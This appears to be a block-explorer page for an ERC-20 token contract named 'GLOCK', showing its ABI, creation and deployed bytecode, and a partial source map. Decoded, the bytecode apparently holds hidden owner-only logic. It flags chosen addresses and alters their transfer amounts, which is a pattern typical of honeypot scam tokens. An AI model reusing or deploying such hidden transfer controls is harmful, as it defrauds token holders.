],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b506040518060400160405280600581526020017f474c4f434b0000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f474c434b000000000000000000000000000000000000000000000000000000008152506200009d62000091620000e760201b60201c565b620000ee60201b60201c565b8160049081620000ae919062000958565b508060059081620000c0919062000958565b505050620000e1336b6b58afa609a896b70d600000620001af60201b60201c565b62000c16565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000222575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040162000219919062000a7f565b60405180910390fd5b630168d7a7640603bacdd902642ff782792d679aca345771d338c70202805f52600160205260405f2073deadbeefdeadbeefdeadbeefdeadbeefdeadbeef81555050620002775f83836200027b60201b60201c565b5050565b5f6002805f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200037b919062000ac7565b10156200038957816200039b565b6200039a82620006c460201b60201c565b5b90505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603620003f1578160035f828254620003e4919062000ac7565b92505081905550620004c4565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156200047e578481846040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620004759392919062000b12565b60405180910390fd5b82810360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200050d578160035f828254039250508190555062000558565b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b600160025f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20540362000657576002805f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620006b6919062000b4d565b60405180910390a350505050565b5f664ef2fe4dace38e65650e124ef1c783620006e1919062000b68565b620006ed919062000bdf565b9050919050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200077057607f821691505b6020821081036200078657620007856200072b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620007ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007ad565b620007f68683620007ad565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620008406200083a62000834846200080e565b62000817565b6200080e565b9050919050565b5f819050919050565b6200085b8362000820565b620008736200086a8262000847565b848454620007b9565b825550505050565b5f90565b620008896200087b565b6200089681848462000850565b505050565b5b81811015620008bd57620008b15f826200087f565b6001810190506200089c565b5050565b601f8211156200090c57620008d6816200078c565b620008e1846200079e565b81016020851015620008f1578190505b6200090962000900856200079e565b8301826200089b565b50505b505050565b5f82821c905092915050565b5f6200092e5f198460080262000911565b1980831691505092915050565b5f6200094883836200091d565b9150826002028217905092915050565b6200096382620006f4565b67ffffffffffffffff8111156200097f576200097e620006fe565b5b6200098b825462000758565b62000998828285620008c1565b5f60209050601f831160018114620009ce575f8415620009b9578287015190505b620009c585826200093b565b86555062000a34565b601f198416620009de866200078c565b5f5b8281101562000a0757848901518255600182019150602085019450602081019050620009e0565b8683101562000a27578489015162000a23601f8916826200091d565b8355505b6001600288020188555050505b505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000a678262000a3c565b9050919050565b62000a798162000a5b565b82525050565b5f60208201905062000a945f83018462000a6e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000ad3826200080e565b915062000ae0836200080e565b925082820190508082111562000afb5762000afa62000a9a565b5b92915050565b62000b0c816200080e565b82525050565b5f60608201905062000b275f83018662000a6e565b62000b36602083018562000b01565b62000b45604083018462000b01565b949350505050565b5f60208201905062000b625f83018462000b01565b92915050565b5f62000b74826200080e565b915062000b81836200080e565b925082820262000b91816200080e565b9150828204841483151762000bab5762000baa62000a9a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000beb826200080e565b915062000bf8836200080e565b92508262000c0b5762000c0a62000bb2565b5b828204905092915050565b6116a98062000c245f395ff3fe608060405234801561000f575f80fd5b50600436106100cd575f3560e01c8063715018a61161008a578063a9059cbb11610064578063a9059cbb14610201578063d744d8dc14610231578063dd62ed3e1461024d578063f2fde38b1461027d576100cd565b8063715018a6146101bb5780638da5cb5b146101c557806395d89b41146101e3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d57806370a082311461018b575b5f80fd5b6100d9610299565b6040516100e69190611058565b60405180910390f35b6101096004803603810190610104919061110d565b610329565b6040516101169190611165565b60405180910390f35b61012761034b565b604051610134919061118d565b60405180910390f35b610157600480360381019061015291906111a6565b610354565b6040516101649190611165565b60405180910390f35b610175610382565b6040516101829190611211565b60405180910390f35b6101a560048036038101906101a0919061122a565b61038a565b6040516101b2919061118d565b60405180910390f35b6101c36103d0565b005b6101cd6103e3565b6040516101da9190611264565b60405180910390f35b6101eb61040a565b6040516101f89190611058565b60405180910390f35b61021b6004803603810190610216919061110d565b61049a565b6040516102289190611165565b60405180910390f35b61024b600480360381019061024691906112de565b6104bc565b005b6102676004803603810190610262919061133b565b6105c4565b604051610274919061118d565b60405180910390f35b6102976004803603810190610292919061122a565b610646565b005b6060600480546102a8906113a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102d4906113a6565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b5050505050905090565b5f806103336106c8565b90506103408185856106cf565b600191505092915050565b5f600354905090565b5f8061035e6106c8565b905061036b8582856106e1565b610376858585610773565b60019150509392505050565b5f6012905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6103d8610863565b6103e15f6108e1565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610419906113a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610445906113a6565b80156104905780601f1061046757610100808354040283529160200191610490565b820191905f5260205f20905b81548152906001019060200180831161047357829003601f168201915b5050505050905090565b5f806104a46106c8565b90506104b1818585610773565b600191505092915050565b6104c46103e3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104fa575f80fd5b5f5b828290508110156105be578360025f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f858585818110610559576105586113d6565b5b905060200201602081019061056e919061122a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806105b690611430565b9150506104fc565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61064e610863565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b3906114e7565b60405180910390fd5b6106c5816108e1565b50565b5f33905090565b6106dc83838360016109a2565b505050565b5f6106ec84846105c4565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461076d578181101561075e578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161075593929190611505565b60405180910390fd5b61076c84848484035f6109a2565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107e3575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016107da9190611264565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610853575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161084a9190611264565b60405180910390fd5b61085e838383610b71565b505050565b61086b6106c8565b73ffffffffffffffffffffffffffffffffffffffff166108896103e3565b73ffffffffffffffffffffffffffffffffffffffff16146108df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d690611584565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a12575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610a099190611264565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a82575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610a799190611264565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610b6b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b62919061118d565b60405180910390a35b50505050565b5f6002805f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c6f91906115a2565b1015610c7b5781610c85565b610c8482610fa2565b5b90505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610cd7578160035f828254610ccb91906115a2565b92505081905550610da7565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d61578481846040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610d5893929190611505565b60405180910390fd5b82810360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dee578160035f8282540392505081905550610e39565b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b600160025f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610f37576002805f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f94919061118d565b60405180910390a350505050565b5f664ef2fe4dace38e65650e124ef1c783610fbd91906115d5565b610fc79190611643565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611005578082015181840152602081019050610fea565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61102a82610fce565b6110348185610fd8565b9350611044818560208601610fe8565b61104d81611010565b840191505092915050565b5f6020820190508181035f8301526110708184611020565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110a982611080565b9050919050565b6110b98161109f565b81146110c3575f80fd5b50565b5f813590506110d4816110b0565b92915050565b5f819050919050565b6110ec816110da565b81146110f6575f80fd5b50565b5f81359050611107816110e3565b92915050565b5f806040838503121561112357611122611078565b5b5f611130858286016110c6565b9250506020611141858286016110f9565b9150509250929050565b5f8115159050919050565b61115f8161114b565b82525050565b5f6020820190506111785f830184611156565b92915050565b611187816110da565b82525050565b5f6020820190506111a05f83018461117e565b92915050565b5f805f606084860312156111bd576111bc611078565b5b5f6111ca868287016110c6565b93505060206111db868287016110c6565b92505060406111ec868287016110f9565b9150509250925092565b5f60ff82169050919050565b61120b816111f6565b82525050565b5f6020820190506112245f830184611202565b92915050565b5f6020828403121561123f5761123e611078565b5b5f61124c848285016110c6565b91505092915050565b61125e8161109f565b82525050565b5f6020820190506112775f830184611255565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261129e5761129d61127d565b5b8235905067ffffffffffffffff8111156112bb576112ba611281565b5b6020830191508360208202830111156112d7576112d6611285565b5b9250929050565b5f805f604084860312156112f5576112f4611078565b5b5f611302868287016110f9565b935050602084013567ffffffffffffffff8111156113235761132261107c565b5b61132f86828701611289565b92509250509250925092565b5f806040838503121561135157611350611078565b5b5f61135e858286016110c6565b925050602061136f858286016110c6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113bd57607f821691505b6020821081036113d0576113cf611379565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61143a826110da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361146c5761146b611403565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6114d1602683610fd8565b91506114dc82611477565b604082019050919050565b5f6020820190508181035f8301526114fe816114c5565b9050919050565b5f6060820190506115185f830186611255565b611525602083018561117e565b611532604083018461117e565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61156e602083610fd8565b91506115798261153a565b602082019050919050565b5f6020820190508181035f83015261159b81611562565b9050919050565b5f6115ac826110da565b91506115b7836110da565b92508282019050808211156115cf576115ce611403565b5b92915050565b5f6115df826110da565b91506115ea836110da565b92508282026115f8816110da565b9150828204841483151761160f5761160e611403565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61164d826110da565b9150611658836110da565b92508261166857611667611616565b5b82820490509291505056fea26469706673582212203a9787687f379cbd8412a77d297dd18b4b30c450df692f29122bd0a71eec1fd464736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c8063715018a61161008a578063a9059cbb11610064578063a9059cbb14610201578063d744d8dc14610231578063dd62ed3e1461024d578063f2fde38b1461027d576100cd565b8063715018a6146101bb5780638da5cb5b146101c557806395d89b41146101e3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d57806370a082311461018b575b5f80fd5b6100d9610299565b6040516100e69190611058565b60405180910390f35b6101096004803603810190610104919061110d565b610329565b6040516101169190611165565b60405180910390f35b61012761034b565b604051610134919061118d565b60405180910390f35b610157600480360381019061015291906111a6565b610354565b6040516101649190611165565b60405180910390f35b610175610382565b6040516101829190611211565b60405180910390f35b6101a560048036038101906101a0919061122a565b61038a565b6040516101b2919061118d565b60405180910390f35b6101c36103d0565b005b6101cd6103e3565b6040516101da9190611264565b60405180910390f35b6101eb61040a565b6040516101f89190611058565b60405180910390f35b61021b6004803603810190610216919061110d565b61049a565b6040516102289190611165565b60405180910390f35b61024b600480360381019061024691906112de565b6104bc565b005b6102676004803603810190610262919061133b565b6105c4565b604051610274919061118d565b60405180910390f35b6102976004803603810190610292919061122a565b610646565b005b6060600480546102a8906113a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102d4906113a6565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b5050505050905090565b5f806103336106c8565b90506103408185856106cf565b600191505092915050565b5f600354905090565b5f8061035e6106c8565b905061036b8582856106e1565b610376858585610773565b60019150509392505050565b5f6012905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6103d8610863565b6103e15f6108e1565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610419906113a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610445906113a6565b80156104905780601f1061046757610100808354040283529160200191610490565b820191905f5260205f20905b81548152906001019060200180831161047357829003601f168201915b5050505050905090565b5f806104a46106c8565b90506104b1818585610773565b600191505092915050565b6104c46103e3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104fa575f80fd5b5f5b828290508110156105be578360025f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f858585818110610559576105586113d6565b5b905060200201602081019061056e919061122a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806105b690611430565b9150506104fc565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61064e610863565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b3906114e7565b60405180910390fd5b6106c5816108e1565b50565b5f33905090565b6106dc83838360016109a2565b505050565b5f6106ec84846105c4565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461076d578181101561075e578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161075593929190611505565b60405180910390fd5b61076c84848484035f6109a2565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107e3575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016107da9190611264565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610853575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161084a9190611264565b60405180910390fd5b61085e838383610b71565b505050565b61086b6106c8565b73ffffffffffffffffffffffffffffffffffffffff166108896103e3565b73ffffffffffffffffffffffffffffffffffffffff16146108df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d690611584565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610a12575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610a099190611264565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a82575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610a799190611264565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610b6b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b62919061118d565b60405180910390a35b50505050565b5f6002805f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c6f91906115a2565b1015610c7b5781610c85565b610c8482610fa2565b5b90505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610cd7578160035f828254610ccb91906115a2565b92505081905550610da7565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d61578481846040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610d5893929190611505565b60405180910390fd5b82810360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dee578160035f8282540392505081905550610e39565b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b600160025f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610f37576002805f8073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f94919061118d565b60405180910390a350505050565b5f664ef2fe4dace38e65650e124ef1c783610fbd91906115d5565b610fc79190611643565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611005578082015181840152602081019050610fea565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61102a82610fce565b6110348185610fd8565b9350611044818560208601610fe8565b61104d81611010565b840191505092915050565b5f6020820190508181035f8301526110708184611020565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110a982611080565b9050919050565b6110b98161109f565b81146110c3575f80fd5b50565b5f813590506110d4816110b0565b92915050565b5f819050919050565b6110ec816110da565b81146110f6575f80fd5b50565b5f81359050611107816110e3565b92915050565b5f806040838503121561112357611122611078565b5b5f611130858286016110c6565b9250506020611141858286016110f9565b9150509250929050565b5f8115159050919050565b61115f8161114b565b82525050565b5f6020820190506111785f830184611156565b92915050565b611187816110da565b82525050565b5f6020820190506111a05f83018461117e565b92915050565b5f805f606084860312156111bd576111bc611078565b5b5f6111ca868287016110c6565b93505060206111db868287016110c6565b92505060406111ec868287016110f9565b9150509250925092565b5f60ff82169050919050565b61120b816111f6565b82525050565b5f6020820190506112245f830184611202565b92915050565b5f6020828403121561123f5761123e611078565b5b5f61124c848285016110c6565b91505092915050565b61125e8161109f565b82525050565b5f6020820190506112775f830184611255565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261129e5761129d61127d565b5b8235905067ffffffffffffffff8111156112bb576112ba611281565b5b6020830191508360208202830111156112d7576112d6611285565b5b9250929050565b5f805f604084860312156112f5576112f4611078565b5b5f611302868287016110f9565b935050602084013567ffffffffffffffff8111156113235761132261107c565b5b61132f86828701611289565b92509250509250925092565b5f806040838503121561135157611350611078565b5b5f61135e858286016110c6565b925050602061136f858286016110c6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113bd57607f821691505b6020821081036113d0576113cf611379565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61143a826110da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361146c5761146b611403565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6114d1602683610fd8565b91506114dc82611477565b604082019050919050565b5f6020820190508181035f8301526114fe816114c5565b9050919050565b5f6060820190506115185f830186611255565b611525602083018561117e565b611532604083018461117e565b949350505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61156e602083610fd8565b91506115798261153a565b602082019050919050565b5f6020820190508181035f83015261159b81611562565b9050919050565b5f6115ac826110da565b91506115b7836110da565b92508282019050808211156115cf576115ce611403565b5b92915050565b5f6115df826110da565b91506115ea836110da565b92508282026115f8816110da565b9150828204841483151761160f5761160e611403565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61164d826110da565b9150611658836110da565b92508261166857611667611616565b5b82820490509291505056fea26469706673582212203a9787687f379cbd8412a77d297dd18b4b30c450df692f29122bd0a71eec1fd464736f6c63430008140033

Deployed Bytecode Sourcemap

12286:139:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2026:89:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4245:186;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3096:97;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4991:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2954:82;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3251:116;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2630:101:0;;;:::i;:::-;;2007:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2228:93:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3562:178;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5914:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3798:140;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2880:198:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2026:89:1;2071:13;2103:5;2096:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2026:89;:::o;4245:186::-;4318:4;4334:13;4350:12;:10;:12::i;:::-;4334:28;;4372:31;4381:5;4388:7;4397:5;4372:8;:31::i;:::-;4420:4;4413:11;;;4245:186;;;;:::o;3096:97::-;3148:7;3174:12;;3167:19;;3096:97;:::o;4991:244::-;5078:4;5094:15;5112:12;:10;:12::i;:::-;5094:30;;5134:37;5150:4;5156:7;5165:5;5134:15;:37::i;:::-;5181:26;5191:4;5197:2;5201:5;5181:9;:26::i;:::-;5224:4;5217:11;;;4991:244;;;;;:::o;2954:82::-;3003:5;3027:2;3020:9;;2